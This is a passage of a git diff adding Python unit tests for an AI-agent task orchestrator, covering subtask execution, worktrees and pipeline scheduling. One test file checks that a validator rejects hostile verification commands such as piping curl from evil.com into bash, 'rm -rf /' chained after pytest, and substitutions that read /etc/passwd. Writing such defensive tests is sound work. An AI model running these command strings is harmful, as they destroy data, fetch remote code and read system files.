+    def test_verification_failure_marks_failed(self, mock_wt_create, mock_subprocess,
+                                               mock_headless, mock_metrics, mock_load_agent,
+                                               temp_repo, task_dir, fast_logger):
+        """验证命令失败时应标记 verify_ok=False 且 status=failed"""
+        mock_wt_create.return_value = (True, "")
+        mock_headless.return_value = make_subprocess_mock(returncode=0)
+        mock_metrics.return_value = {
+            "files_changed": 1, "insertions": 1, "deletions": 1,
+            "new_files": 0, "modified_files": 1, "actual_files": ["src/main.py"],
+        }
+
+        verification_cmd = "pytest tests/"
+        subtask = {
+            "id": "sub-1",
+            "title": "验证失败任务",
+            "description": "执行并验证",
+            "agent_prompt": "do work",
+            "verification": verification_cmd,
+            "risks": [],
+            "depends_on": [],
+            "skills": [],
+            "agent_type": "developer",
+        }
+
+        call_count = [0]
+
+        def subprocess_side_effect(args, **kwargs):
+            cmd_str = " ".join(args) if isinstance(args, list) else str(args)
+            if "status" in cmd_str and "--porcelain" in cmd_str:
+                return make_subprocess_mock(stdout="M  src/main.py\n")
+            if "diff" in cmd_str and "--stat" in cmd_str:
+                return make_subprocess_mock(stdout="src/main.py | 2 +-")
+            if "numstat" in cmd_str:
+                return make_subprocess_mock(stdout="1\t1\tsrc/main.py")
+            if "pytest" in cmd_str:
+                return make_subprocess_mock(returncode=1, stderr="FAIL test_foo")
+            return make_subprocess_mock()
+
+        mock_subprocess.side_effect = subprocess_side_effect
+
+        with patch("shutil.which", return_value=None):
+            result = run_subtask("test-task", subtask, temp_repo, task_dir,
+                                 fast_logger, headless=False)  # 交互模式不重试
+
+        # headless=False 交互模式：verify_ok=False, 但 returncode=0
+        # status 判定: returncode==0 and verify_ok => False, 所以 status="failed"
+        assert result["verify_ok"] is False
+        assert result["status"] == "failed"
+
+    @patch("agent_go.executor.load_agent_type")
+    @patch("agent_go.executor._run_headless")
+    @patch("subprocess.run")
+    @patch("agent_go.executor._worktree_create")
+    def test_skill_injection_into_task_md(self, mock_wt_create, mock_subprocess,
+                                          mock_headless, mock_load_agent,
+                                          temp_repo, task_dir, fast_logger):
+        """Skills 应被加载并注入到 TASK.md"""
+        mock_wt_create.return_value = (True, "")
+        mock_load_agent.return_value = None
+        mock_subprocess.return_value = make_subprocess_mock()
+        mock_headless.return_value = make_subprocess_mock(returncode=0)
+
+        subtask = {
+            "id": "sub-1",
+            "title": "安全审查",
+            "description": "审查代码安全性",
+            "agent_prompt": "请审查安全",
+            "verification": "",
+            "risks": [],
+            "depends_on": [],
+            "skills": ["security-review"],
+            "agent_type": "reviewer",
+        }
+
+        # Mock skill loading — skills are lazy-imported from agent_go.skills inside executor
+        with patch("agent_go.skills.load_skill") as mock_load_skill, \
+             patch("agent_go.skills.render_skill_for_execution") as mock_render, \
+             patch("agent_go.skills.list_skills") as mock_list_skills:
+
+            mock_load_skill.return_value = {"name": "security-review", "content": "skill body"}
+            mock_render.return_value = "## Skill: security-review\nskill content here"
+            mock_list_skills.return_value = [{"name": "security-review"}]
+
+            run_subtask("test-task", subtask, temp_repo, task_dir,
+                        fast_logger, headless=True)
+
+        task_md_path = task_dir / "sub-1" / "TASK.md"
+        assert task_md_path.exists(), "TASK.md 应存在"
+        content = task_md_path.read_text(encoding="utf-8")
+        assert "security-review" in content, "TASK.md 应包含 Skill 名称"
+
+    @patch("agent_go.executor.load_agent_type")
+    @patch("agent_go.executor._run_headless")
+    @patch("subprocess.run")
+    @patch("agent_go.executor._worktree_create")
+    def test_agent_type_configured(self, mock_wt_create, mock_subprocess,
+                                   mock_headless, mock_load_agent,
+                                   temp_repo, task_dir, fast_logger,
+                                   basic_subtask):
+        """Agent 类型应被正确加载并配置到 env"""
+        mock_wt_create.return_value = (True, "")
+        mock_subprocess.return_value = make_subprocess_mock()
+        mock_headless.return_value = make_subprocess_mock(returncode=0)
+
+        # 创建一个 mock AgentType
+        from agent_go.agents import AgentType
+        mock_agent = AgentType(
+            type_name="reviewer",
+            description="审查者",
+            claude_config={"permission_mode": "bypassPermissions"},
+            preload_skills=["security-review"],
+        )
+        mock_load_agent.return_value = mock_agent
+
+        basic_subtask["agent_type"] = "reviewer"
+
+        with patch("agent_go.executor.get_agent_env") as mock_get_env:
+            mock_get_env.return_value = {"CLAUDE_PERMISSION_MODE": "bypassPermissions"}
+
+            run_subtask("test-task", basic_subtask, temp_repo, task_dir,
+                        fast_logger, headless=True)
+
+            mock_load_agent.assert_called_with("reviewer", temp_repo)
+            mock_get_env.assert_called_once_with(mock_agent)
+
+            # 验证 env 变量包含 agent 配置
+            env = mock_headless.call_args[0][2]
+            assert env["CLAUDE_PERMISSION_MODE"] == "bypassPermissions"
+
+    @patch("agent_go.executor.load_agent_type", return_value=None)
+    @patch("agent_go.executor._run_headless")
+    @patch("subprocess.run")
+    @patch("agent_go.executor._worktree_create")
+    def test_upstream_context_injected_into_task_md(self, mock_wt_create,
+                                                    mock_subprocess,
+                                                    mock_headless,
+                                                    mock_load_agent,
+                                                    temp_repo, task_dir,
+                                                    fast_logger):
+        """上游子任务的 context.md 应被注入到 TASK.md"""
+        mock_wt_create.return_value = (True, "")
+        mock_subprocess.return_value = make_subprocess_mock()
+        mock_headless.return_value = make_subprocess_mock(returncode=0)
+
+        # 创建上游 context.md
+        up_sub_dir = task_dir / "sub-up"
+        up_sub_dir.mkdir(parents=True, exist_ok=True)
+        (up_sub_dir / "context.md").write_text(
+            "### sub-up: 上游任务\n- 状态: 通过\n- 变更: 2 files\n",
+            encoding="utf-8"
+        )
+
+        subtask = {
+            "id": "sub-2",
+            "title": "下游任务",
+            "description": "依赖上游",
+            "agent_prompt": "基于上游修改",
+            "verification": "",
+            "risks": [],
+            "depends_on": ["sub-up"],
+            "skills": [],
+            "agent_type": "developer",
+        }
+
+        run_subtask("test-task", subtask, temp_repo, task_dir,
+                    fast_logger, headless=True)
+
+        task_md_path = task_dir / "sub-2" / "TASK.md"
+        content = task_md_path.read_text(encoding="utf-8")
+        assert "上游子任务上下文" in content, "TASK.md 应包含上游上下文标记"
+        assert "上游任务" in content, "TASK.md 应包含上游 context 内容"
+
+    @patch("agent_go.executor.load_agent_type", return_value=None)
+    @patch("agent_go.executor._run_headless")
+    @patch("subprocess.run")
+    @patch("agent_go.executor._worktree_create")
+    def test_merge_conflict_injected_into_task_md(self, mock_wt_create,
+                                                  mock_subprocess,
+                                                  mock_headless,
+                                                  mock_load_agent,
+                                                  temp_repo, task_dir,
+                                                  fast_logger, basic_subtask):
+        """上游合并冲突信息应被注入到 TASK.md"""
+        mock_wt_create.return_value = (True, "")
+        mock_subprocess.return_value = make_subprocess_mock()
+        mock_headless.return_value = make_subprocess_mock(returncode=0)
+
+        # 创建上游 worktree 和冲突标记文件
+        up_dir = task_dir / "sub-up" / "work"
+        up_dir.mkdir(parents=True, exist_ok=True)
+        upstream_worktrees = {"sub-up": up_dir}
+
+        basic_subtask["depends_on"] = ["sub-up"]
+
+        with patch("agent_go.executor._git_merge_upstream") as mock_merge:
+            # 模拟合并后产生 .MERGE_CONFLICT 文件
+            def create_conflict(*args, **kwargs):
+                dst_worktree = Path(args[1])
+                dst_worktree.mkdir(parents=True, exist_ok=True)
+                conflict_file = dst_worktree / ".MERGE_CONFLICT"
+                conflict_file.write_text("main.py\nutils.py\n", encoding="utf-8")
+
+            mock_merge.side_effect = create_conflict
+
+            run_subtask("test-task", basic_subtask, temp_repo, task_dir,
+                        fast_logger, upstream_worktrees=upstream_worktrees,
+                        headless=True)
+
+        task_md_path = task_dir / "sub-1" / "TASK.md"
+        content = task_md_path.read_text(encoding="utf-8")
+        assert "上游合并冲突" in content, "TASK.md 应包含冲突标记"
+
+    @patch("agent_go.executor.load_agent_type", return_value=None)
+    @patch("agent_go.executor._run_headless")
+    @patch("subprocess.run")
+    @patch("agent_go.executor._worktree_create")
+    def test_context_file_with_risks(self, mock_wt_create, mock_subprocess,
+                                     mock_headless, mock_load_agent,
+                                     temp_repo, task_dir, fast_logger):
+        """有 risks 的子任务，context.md 应包含风险信息"""
+        mock_wt_create.return_value = (True, "")
+        mock_subprocess.return_value = make_subprocess_mock()
+        mock_headless.return_value = make_subprocess_mock(returncode=0)
+
+        subtask = {
+            "id": "sub-1",
+            "title": "风险任务",
+            "description": "有风险",
+            "agent_prompt": "do work",
+            "verification": "",
+            "risks": ["密钥泄露", "性能退化"],
+            "depends_on": [],
+            "skills": [],
+            "agent_type": "developer",
+        }
+
+        run_subtask("test-task", subtask, temp_repo, task_dir,
+                    fast_logger, headless=True)
+
+        ctx_path = task_dir / "sub-1" / "context.md"
+        content = ctx_path.read_text(encoding="utf-8")
+        assert "密钥泄露" in content
+        assert "性能退化" in content
+        assert "风险" in content
+
+    @patch("agent_go.executor.load_agent_type", return_value=None)
+    @patch("agent_go.executor.collect_change_stats")
+    @patch("agent_go.executor._run_headless")
+    @patch("subprocess.run")
+    @patch("agent_go.executor._worktree_create")
+    def test_context_file_with_verification(self, mock_wt_create, mock_subprocess,
+                                            mock_headless, mock_metrics, mock_load_agent,
+                                            temp_repo, task_dir, fast_logger):
+        """有 verification 的子任务，context.md 应包含验证结果"""
+        mock_wt_create.return_value = (True, "")
+        mock_headless.return_value = make_subprocess_mock(returncode=0)
+        mock_metrics.return_value = {
+            "files_changed": 1, "insertions": 1, "deletions": 1,
+            "new_files": 0, "modified_files": 1, "actual_files": ["src/main.py"],
+        }
+
+        verification_cmd = "pytest tests/"
+        subtask = {
+            "id": "sub-1",
+            "title": "验证任务",
+            "description": "有验证",
+            "agent_prompt": "do work",
+            "verification": verification_cmd,
+            "risks": [],
+            "depends_on": [],
+            "skills": [],
+            "agent_type": "developer",
+        }
+
+        def subprocess_side_effect(args, **kwargs):
+            cmd_str = " ".join(args) if isinstance(args, list) else str(args)
+            if "status" in cmd_str and "--porcelain" in cmd_str:
+                return make_subprocess_mock(stdout="M  src/main.py\n")
+            if "diff" in cmd_str and "--stat" in cmd_str:
+                return make_subprocess_mock(stdout="src/main.py | 2 +-")
+            if "numstat" in cmd_str:
+                return make_subprocess_mock(stdout="1\t1\tsrc/main.py")
+            if "pytest" in cmd_str:
+                return make_subprocess_mock(returncode=0, stdout="1 passed")
+            return make_subprocess_mock()
+
+        mock_subprocess.side_effect = subprocess_side_effect
+
+        result = run_subtask("test-task", subtask, temp_repo, task_dir,
+                             fast_logger, headless=True)
+
+        ctx_path = task_dir / "sub-1" / "context.md"
+        content = ctx_path.read_text(encoding="utf-8")
+        assert verification_cmd in content
+        assert result["verify_ok"] is True, "验证应通过"
+
+    @patch("agent_go.executor.load_agent_type", return_value=None)
+    @patch("agent_go.executor._run_headless")
+    @patch("subprocess.run")
+    @patch("agent_go.executor._worktree_create")
+    def test_worktree_clone_fallback(self, mock_wt_create, mock_subprocess,
+                                     mock_headless, mock_load_agent,
+                                     temp_repo, task_dir, fast_logger,
+                                     basic_subtask):
+        """worktree 创建失败时应回退到 git clone"""
+        mock_wt_create.return_value = (False, "worktree add failed")
+        mock_subprocess.return_value = make_subprocess_mock()
+        mock_headless.return_value = make_subprocess_mock(returncode=0)
+
+        run_subtask("test-task", basic_subtask, temp_repo, task_dir,
+                    fast_logger, headless=True)
+
+        # 验证 subprocess.run 被调用包含 git clone
+        clone_calls = [
+            c for c in mock_subprocess.call_args_list
+            if c.args and isinstance(c.args[0], list)
+            and "clone" in c.args[0]
+        ]
+        assert len(clone_calls) >= 1, "worktree 失败后应回退到 git clone"
+
+    @patch("agent_go.executor.load_agent_type", return_value=None)
+    @patch("agent_go.executor._run_headless")
+    @patch("subprocess.run")
+    @patch("agent_go.executor._worktree_create")
+    def test_existing_worktree_reused(self, mock_wt_create, mock_subprocess,
+                                      mock_headless, mock_load_agent,
+                                      temp_repo, task_dir, fast_logger,
+                                      basic_subtask):
+        """已存在的 worktree 应跳过创建"""
+        mock_subprocess.return_value = make_subprocess_mock()
+        mock_headless.return_value = make_subprocess_mock(returncode=0)
+
+        # 预先创建 worktree 目录和 .git（真实 git worktree 的 .git 是文件）
+        sub_dir = task_dir / "sub-1"
+        sub_dir.mkdir(parents=True, exist_ok=True)
+        worktree = sub_dir / "work"
+        worktree.mkdir(parents=True, exist_ok=True)
+        (worktree / ".git").write_text("gitdir: ../../.git/worktrees/sub-1", encoding="utf-8")
+
+        run_subtask("test-task", basic_subtask, temp_repo, task_dir,
+                    fast_logger, headless=True)
+
+        # _worktree_create 不应被调用
+        mock_wt_create.assert_not_called()
+
+    @patch("agent_go.executor.load_agent_type", return_value=None)
+    @patch("agent_go.executor._run_headless")
+    @patch("subprocess.run")
+    @patch("agent_go.executor._worktree_create")
+    def test_return_value_structure(self, mock_wt_create, mock_subprocess,
+                                    mock_headless, mock_load_agent,
+                                    temp_repo, task_dir, fast_logger,
+                                    basic_subtask):
+        """返回值应包含所有必需字段"""
+        mock_wt_create.return_value = (True, "")
+        mock_subprocess.return_value = make_subprocess_mock()
+        mock_headless.return_value = make_subprocess_mock(returncode=0)
+
+        result = run_subtask("test-task", basic_subtask, temp_repo, task_dir,
+                             fast_logger, headless=True)
+
+        required_keys = [
+            "subtask_id", "status", "exit_code", "summary", "worktree",
+            "sandbox_type", "verify_ok", "duration_sec", "agent_type_source",
+            "skills_unresolved", "retry_count", "timing", "change_stats",
+            "merge_results", "verification_results",
+        ]
+        for key in required_keys:
+            assert key in result, f"返回值应包含 '{key}' 字段"
+
+    @patch("agent_go.executor.load_agent_type", return_value=None)
+    @patch("agent_go.executor._run_headless")
+    @patch("subprocess.run")
+    @patch("agent_go.executor._worktree_create")
+    def test_sandbox_type_headless(self, mock_wt_create, mock_subprocess,
+                                   mock_headless, mock_load_agent,
+                                   temp_repo, task_dir, fast_logger,
+                                   basic_subtask):
+        """headless 模式下 sandbox_type 应为 'headless'"""
+        mock_wt_create.return_value = (True, "")
+        mock_subprocess.return_value = make_subprocess_mock()
+        mock_headless.return_value = make_subprocess_mock(returncode=0)
+
+        result = run_subtask("test-task", basic_subtask, temp_repo, task_dir,
+                             fast_logger, headless=True)
+
+        assert result["sandbox_type"] == "headless"
+
+    @patch("agent_go.executor.load_agent_type", return_value=None)
+    @patch("subprocess.run")
+    @patch("agent_go.executor._worktree_create")
+    def test_sandbox_type_native(self, mock_wt_create, mock_subprocess,
+                                 mock_load_agent, temp_repo, task_dir,
+                                 fast_logger, basic_subtask):
+        """交互模式下无 greywall 时 sandbox_type 应为 'native'"""
+        mock_wt_create.return_value = (True, "")
+        mock_load_agent.return_value = None
+
+        def subprocess_side_effect(args, **kwargs):
+            cmd_str = " ".join(args) if isinstance(args, list) else str(args)
+            if "status" in cmd_str and "--porcelain" in cmd_str:
+                return make_subprocess_mock(stdout="")
+            return make_subprocess_mock()
+
+        mock_subprocess.side_effect = subprocess_side_effect
+
+        with patch("shutil.which", return_value=None):
+            result = run_subtask("test-task", basic_subtask, temp_repo,
+                                 task_dir, fast_logger, headless=False)
+
+        assert result["sandbox_type"] == "native"
+
+    @patch("agent_go.executor.load_agent_type", return_value=None)
+    @patch("agent_go.executor._run_headless")
+    @patch("subprocess.run")
+    @patch("agent_go.executor._worktree_create")
+    def test_no_git_repo_copies_directory(self, mock_wt_create, mock_subprocess,
+                                          mock_headless, mock_load_agent,
+                                          tmp_path, fast_logger):
+        """无 .git 目录时应使用 shutil.copytree"""
+        repo = tmp_path / "non_git_repo"
+        repo.mkdir(parents=True)
+        (repo / "file.txt").write_text("hello", encoding="utf-8")
+
+        task_dir = tmp_path / "task_dir"
+        task_dir.mkdir(parents=True)
+
+        mock_subprocess.return_value = make_subprocess_mock()
+        mock_headless.return_value = make_subprocess_mock(returncode=0)
+
+        subtask = {
+            "id": "sub-1", "title": "拷贝任务", "description": "desc",
+            "agent_prompt": "do work", "verification": "",
+            "risks": [], "depends_on": [], "skills": [],
+            "agent_type": "developer",
+        }
+
+        result = run_subtask("test-task", subtask, repo, task_dir,
+                             fast_logger, headless=True)
+
+        # _worktree_create 不应被调用（无 .git）
+        mock_wt_create.assert_not_called()
+        # 工作目录应存在且包含复制的文件（验证 copytree 实际执行）
+        worktree = task_dir / "sub-1" / "work"
+        assert worktree.exists()
+        assert (worktree / "file.txt").exists(), "shutil.copytree 应复制文件到 worktree"
+        assert (worktree / "file.txt").read_text(encoding="utf-8") == "hello"
+
+    @patch("agent_go.executor.load_agent_type", return_value=None)
+    @patch("agent_go.executor.collect_change_stats")
+    @patch("agent_go.executor._run_headless")
+    @patch("subprocess.run")
+    @patch("agent_go.executor._worktree_create")
+    def test_tag_namespaced_with_task_id(self, mock_wt_create, mock_subprocess,
+                                         mock_headless, mock_metrics, mock_load_agent,
+                                         temp_repo, task_dir, fast_logger,
+                                         basic_subtask):
+        """git tag 应包含 task_id 前缀避免跨任务冲突"""
+        mock_wt_create.return_value = (True, "")
+        mock_headless.return_value = make_subprocess_mock(returncode=0)
+        mock_metrics.return_value = {
+            "files_changed": 1, "insertions": 1, "deletions": 1,
+            "new_files": 0, "modified_files": 1, "actual_files": ["src/main.py"],
+        }
+
+        def subprocess_side_effect(args, **kwargs):
+            cmd_str = " ".join(args) if isinstance(args, list) else str(args)
+            if "status" in cmd_str and "--porcelain" in cmd_str:
+                return make_subprocess_mock(stdout="M  src/main.py\n")
+            if "diff" in cmd_str and "--stat" in cmd_str:
+                return make_subprocess_mock(stdout="src/main.py | 2 +-")
+            if "numstat" in cmd_str:
+                return make_subprocess_mock(stdout="1\t1\tsrc/main.py")
+            return make_subprocess_mock()
+
+        mock_subprocess.side_effect = subprocess_side_effect
+
+        run_subtask("my-task", basic_subtask, temp_repo, task_dir,
+                    fast_logger, headless=True)
+
+        # 找到 git tag 调用
+        tag_calls = [
+            c for c in mock_subprocess.call_args_list
+            if c.args and isinstance(c.args[0], list)
+            and "tag" in c.args[0]
+        ]
+        assert len(tag_calls) >= 1, "应有 git tag 调用"
+        # 验证 tag 名称格式
+        tag_args = tag_calls[0].args[0]
+        tag_index = tag_args.index("-f") + 1 if "-f" in tag_args else -1
+        if tag_index > 0 and tag_index < len(tag_args):
+            tag_name = tag_args[tag_index]
+        else:
+            # tag -f <name> 格式
+            tag_name = tag_args[-1]
+        assert tag_name == "my-task/sub-1", (
+            f"tag 应为 my-task/sub-1，实际: {tag_name}"
+        )
diff --git a/tests/test_is_safe_verification_command.py b/tests/test_is_safe_verification_command.py
new file mode 100644
index 0000000..018fe18
--- /dev/null
+++ b/tests/test_is_safe_verification_command.py
@@ -0,0 +1,87 @@
+"""Tests for _is_safe_verification_command in agent_go.utils."""
+
+from agent_go.utils import _is_safe_verification_command
+
+
+class TestIsSafeVerificationCommand:
+
+    def test_safe_commands(self):
+        """Whitelisted prefixes with no injection patterns return True."""
+        safe = [
+            "pytest",
+            "go test ./...",
+            "cargo test",
+            "make test",
+            "ruff check src/",
+            "mypy agent_go/",
+        ]
+        for cmd in safe:
+            assert _is_safe_verification_command(cmd) is True, f"Expected True for: {cmd}"
+
+    def test_unsafe_prefix(self):
+        """Unknown command prefix returns False."""
+        assert _is_safe_verification_command("curl http://evil.com") is False
+
+    def test_shell_chain_semicolon(self):
+        """Semicolon command chaining is rejected."""
+        assert _is_safe_verification_command("pytest ; rm -rf /") is False
+
+    def test_shell_chain_and(self):
+        """&& command chaining is rejected."""
+        assert _is_safe_verification_command("pytest && rm -rf /") is False
+
+    def test_shell_chain_or(self):
+        """|| command chaining is rejected."""
+        assert _is_safe_verification_command("pytest || rm -rf /") is False
+
+    def test_command_substitution(self):
+        """$() command substitution is rejected."""
+        assert _is_safe_verification_command("pytest $(cat /etc/passwd)") is False
+
+    def test_backtick_substitution(self):
+        """Backtick command substitution is rejected."""
+        assert _is_safe_verification_command("pytest `cat /etc/passwd`") is False
+
+    def test_variable_substitution(self):
+        """${} variable substitution is rejected."""
+        assert _is_safe_verification_command("pytest ${EVIL}") is False
+
+    def test_curl_pipe_sh(self):
+        """curl piped to bash is rejected."""
+        assert _is_safe_verification_command("curl http://evil.com | bash") is False
+
+    def test_dangerous_rm(self):
+        """Dangerous rm -rf / fails prefix check and is rejected."""
+        assert _is_safe_verification_command("rm -rf /") is False
+
+    def test_output_redirection(self):
+        """Output redirection (> file) is rejected."""
+        assert _is_safe_verification_command("pytest > /tmp/out") is False
+
+    def test_output_redirection_append(self):
+        """Append redirection (>> file) is rejected."""
+        assert _is_safe_verification_command("pytest >> /tmp/out") is False
+
+    def test_input_redirection(self):
+        """Input redirection (< file) is rejected."""
+        assert _is_safe_verification_command("pytest < /tmp/in") is False
+
+    def test_safe_with_args(self):
+        """Safe command with typical test args returns True."""
+        assert _is_safe_verification_command("pytest tests/ -v --tb=short") is True
+
+    def test_safe_go_build(self):
+        """go build is in the whitelist and returns True."""
+        assert _is_safe_verification_command("go build ./...") is True
+
+    def test_safe_git_diff(self):
+        """git diff is in the whitelist and returns True."""
+        assert _is_safe_verification_command("git diff HEAD") is True
+
+    def test_empty_command(self):
+        """Empty string returns False."""
+        assert _is_safe_verification_command("") is False
+
+    def test_whitespace_command(self):
+        """Whitespace-only string returns False."""
+        assert _is_safe_verification_command("   ") is False
diff --git a/tests/test_pipeline.py b/tests/test_pipeline.py
new file mode 100644
index 0000000..c32f26a
--- /dev/null
+++ b/tests/test_pipeline.py
@@ -0,0 +1,379 @@
+"""测试 _run_pipeline — 拓扑调度、并发执行、信号中断、恢复、清理
+
+通过 mock run_subtask / _set_gc_auto / _worktree_remove / _worktree_prune / subprocess.run
+避免真实 git 操作和 Claude 子进程。
+"""
+
+import json
+import signal
+import subprocess
+from pathlib import Path
+from unittest.mock import MagicMock, call, patch
+
+import pytest
+
+from agent_go.pipeline import _run_pipeline
+
+
+# ---------------------------------------------------------------------------
+# Helpers
+# ---------------------------------------------------------------------------
+
+def _make_subtask(sub_id, title="test", depends_on=None):
+    """构造一个最小 subtask dict。"""
+    return {
+        "id": sub_id,
+        "title": title,
+        "description": f"desc-{sub_id}",
+        "depends_on": depends_on or [],
+    }
+
+
+def _success_result(sub_id):
+    """run_subtask 返回的成功结果。"""
+    return {
+        "subtask_id": sub_id,
+        "status": "completed",
+        "exit_code": 0,
+        "summary": f"done-{sub_id}",
+        "worktree": "",
+        "sandbox_type": "headless",
+        "verify_ok": True,
+        "duration_sec": 1.0,
+    }
+
+
+def _default_meta(task_id="t1"):
+    """默认 meta dict。"""
+    return {"task_id": task_id, "status": "running"}
+
+
+# ---------------------------------------------------------------------------
+# Tests
+# ---------------------------------------------------------------------------
+
+
+class TestPipeline:
+    """_run_pipeline 核心行为测试。"""
+
+    # ── 1. 串行执行 ──────────────────────────────────────────────────────
+    @patch("agent_go.pipeline.subprocess.run")
+    @patch("agent_go.pipeline._worktree_prune", return_value=(True, ""))
+    @patch("agent_go.pipeline._worktree_remove", return_value=(True, ""))
+    @patch("agent_go.pipeline._set_gc_auto", return_value=("1", True, ""))
+    @patch("agent_go.pipeline.run_subtask")
+    def test_serial_execution(
+        self, mock_run_subtask, mock_gc, mock_wt_remove, mock_wt_prune, mock_subproc,
+        temp_dir, logger,
+    ):
+        """2 个无依赖子任务按顺序执行。"""
+        sub1 = _make_subtask("sub-1")
+        sub2 = _make_subtask("sub-2")
+        confirmed = [sub1, sub2]
+
+        repo = temp_dir / "repo"
+        repo.mkdir()
+        (repo / ".git").mkdir()
+        task_dir = temp_dir / "tasks" / "t1"
+        task_dir.mkdir(parents=True)
+
+        # 让 run_subtask 依次返回成功结果
+        mock_run_subtask.side_effect = [
+            _success_result("sub-1"),
+            _success_result("sub-2"),
+        ]
+        # subprocess.run 用于 tag 删除等，统一返回成功
+        mock_subproc.return_value = MagicMock(returncode=0, stdout="", stderr=b"")
+
+        _run_pipeline(
+            confirmed, repo, task_dir, logger,
+            config={}, headless=False, parallel=1,
+            issue_ref="", meta=_default_meta(),
+        )
+
+        # run_subtask 应被调用 2 次，且顺序为 sub-1 -> sub-2
+        assert mock_run_subtask.call_count == 2
+        call_ids = [c.args[1]["id"] for c in mock_run_subtask.call_args_list]
+        assert call_ids == ["sub-1", "sub-2"]
+
+    # ── 2. 并行执行 ──────────────────────────────────────────────────────
+    @patch("agent_go.pipeline.subprocess.run")
+    @patch("agent_go.pipeline._worktree_prune", return_value=(True, ""))
+    @patch("agent_go.pipeline._worktree_remove", return_value=(True, ""))
+    @patch("agent_go.pipeline._set_gc_auto", return_value=("1", True, ""))
+    @patch("agent_go.pipeline.run_subtask")
+    def test_parallel_execution(
+        self, mock_run_subtask, mock_gc, mock_wt_remove, mock_wt_prune, mock_subproc,
+        temp_dir, logger,
+    ):
+        """2 个独立子任务并行执行（parallel=2）。"""
+        sub1 = _make_subtask("sub-1")
+        sub2 = _make_subtask("sub-2")
+        confirmed = [sub1, sub2]
+
+        repo = temp_dir / "repo"
+        repo.mkdir()
+        (repo / ".git").mkdir()
+        task_dir = temp_dir / "tasks" / "t1"
+        task_dir.mkdir(parents=True)
+
+        mock_run_subtask.side_effect = [
+            _success_result("sub-1"),
+            _success_result("sub-2"),
+        ]
+        mock_subproc.return_value = MagicMock(returncode=0, stdout="", stderr=b"")
+
+        _run_pipeline(
+            confirmed, repo, task_dir, logger,
+            config={}, headless=False, parallel=2,
+            issue_ref="", meta=_default_meta(),
+        )
+
+        # 两个子任务都应被执行
+        assert mock_run_subtask.call_count == 2
+        executed_ids = {c.args[1]["id"] for c in mock_run_subtask.call_args_list}
+        assert executed_ids == {"sub-1", "sub-2"}
+
+    # ── 3. 依赖顺序 ──────────────────────────────────────────────────────
+    @patch("agent_go.pipeline.subprocess.run")
+    @patch("agent_go.pipeline._worktree_prune", return_value=(True, ""))
+    @patch("agent_go.pipeline._worktree_remove", return_value=(True, ""))
+    @patch("agent_go.pipeline._set_gc_auto", return_value=("1", True, ""))
+    @patch("agent_go.pipeline.run_subtask")
+    def test_dependency_order(
+        self, mock_run_subtask, mock_gc, mock_wt_remove, mock_wt_prune, mock_subproc,
+        temp_dir, logger,
+    ):
+        """sub-2 依赖 sub-1，sub-1 先执行。"""
+        sub1 = _make_subtask("sub-1", title="first")
+        sub2 = _make_subtask("sub-2", title="second", depends_on=["sub-1"])
+        confirmed = [sub1, sub2]
+
+        repo = temp_dir / "repo"
+        repo.mkdir()
+        (repo / ".git").mkdir()
+        task_dir = temp_dir / "tasks" / "t1"
+        task_dir.mkdir(parents=True)
+
+        mock_run_subtask.side_effect = [
+            _success_result("sub-1"),
+            _success_result("sub-2"),
+        ]
+        mock_subproc.return_value = MagicMock(returncode=0, stdout="", stderr=b"")
+
+        _run_pipeline(
+            confirmed, repo, task_dir, logger,
+            config={}, headless=False, parallel=2,
+            issue_ref="", meta=_default_meta(),
+        )
+
+        # sub-1 必须在 sub-2 之前执行
+        call_ids = [c.args[1]["id"] for c in mock_run_subtask.call_args_list]
+        idx1 = call_ids.index("sub-1")
+        idx2 = call_ids.index("sub-2")
+        assert idx1 < idx2, f"sub-1 (index {idx1}) should run before sub-2 (index {idx2})"
+
+        # sub-2 调用时的 upstream_worktrees 应包含 sub-1 的路径
+        sub2_call = mock_run_subtask.call_args_list[idx2]
+        upstream = sub2_call.args[5]  # 第 6 个位置参数: upstream_worktrees
+        assert "sub-1" in upstream
+
+    # ── 4. gc.auto 禁用与恢复 ────────────────────────────────────────────
+    @patch("agent_go.pipeline.subprocess.run")
+    @patch("agent_go.pipeline._worktree_prune", return_value=(True, ""))
+    @patch("agent_go.pipeline._worktree_remove", return_value=(True, ""))
+    @patch("agent_go.pipeline._set_gc_auto")
+    @patch("agent_go.pipeline.run_subtask")
+    def test_gc_auto_disabled_and_restored(
+        self, mock_run_subtask, mock_gc, mock_wt_remove, mock_wt_prune, mock_subproc,
+        temp_dir, logger,
+    ):
+        """gc.auto 在执行前设为 0，执行后恢复原值。"""
+        sub1 = _make_subtask("sub-1")
+        confirmed = [sub1]
+
+        repo = temp_dir / "repo"
+        repo.mkdir()
+        (repo / ".git").mkdir()
+        task_dir = temp_dir / "tasks" / "t1"
+        task_dir.mkdir(parents=True)
+
+        mock_run_subtask.return_value = _success_result("sub-1")
+        # 第一次调用（禁用）返回原值 "256"；第二次调用（恢复）也返回成功
+        mock_gc.side_effect = [("256", True, ""), ("256", True, "")]
+        mock_subproc.return_value = MagicMock(returncode=0, stdout="", stderr=b"")
+
+        _run_pipeline(
+            confirmed, repo, task_dir, logger,
+            config={}, headless=False, parallel=1,
+            issue_ref="", meta=_default_meta(),
+        )
+
+        # _set_gc_auto 应被调用 2 次：禁用（"0"）+ 恢复（原值）
+        assert mock_gc.call_count == 2
+        # 第一次调用：设为 "0"
+        assert mock_gc.call_args_list[0] == call(repo, "0")
+        # 第二次调用：恢复为原值 "256"
+        assert mock_gc.call_args_list[1] == call(repo, "256")
+
+    # ── 5. 恢复时跳过已完成子任务 ────────────────────────────────────────
+    @patch("agent_go.pipeline.subprocess.run")
+    @patch("agent_go.pipeline._worktree_prune", return_value=(True, ""))
+    @patch("agent_go.pipeline._worktree_remove", return_value=(True, ""))
+    @patch("agent_go.pipeline._set_gc_auto", return_value=("1", True, ""))
+    @patch("agent_go.pipeline.run_subtask")
+    def test_resume_skips_completed(
+        self, mock_run_subtask, mock_gc, mock_wt_remove, mock_wt_prune, mock_subproc,
+        temp_dir, logger,
+    ):
+        """已完成子任务被跳过，只执行剩余部分。"""
+        sub1 = _make_subtask("sub-1")
+        sub2 = _make_subtask("sub-2")
+        sub3 = _make_subtask("sub-3")
+        confirmed = [sub1, sub2, sub3]
+
+        repo = temp_dir / "repo"
+        repo.mkdir()
+        (repo / ".git").mkdir()
+        task_dir = temp_dir / "tasks" / "t1"
+        task_dir.mkdir(parents=True)
+
+        mock_run_subtask.side_effect = [
+            _success_result("sub-2"),
+            _success_result("sub-3"),
+        ]
+        mock_subproc.return_value = MagicMock(returncode=0, stdout="", stderr=b"")
+
+        # sub-1 已完成，传入 completed_ids
+        _run_pipeline(
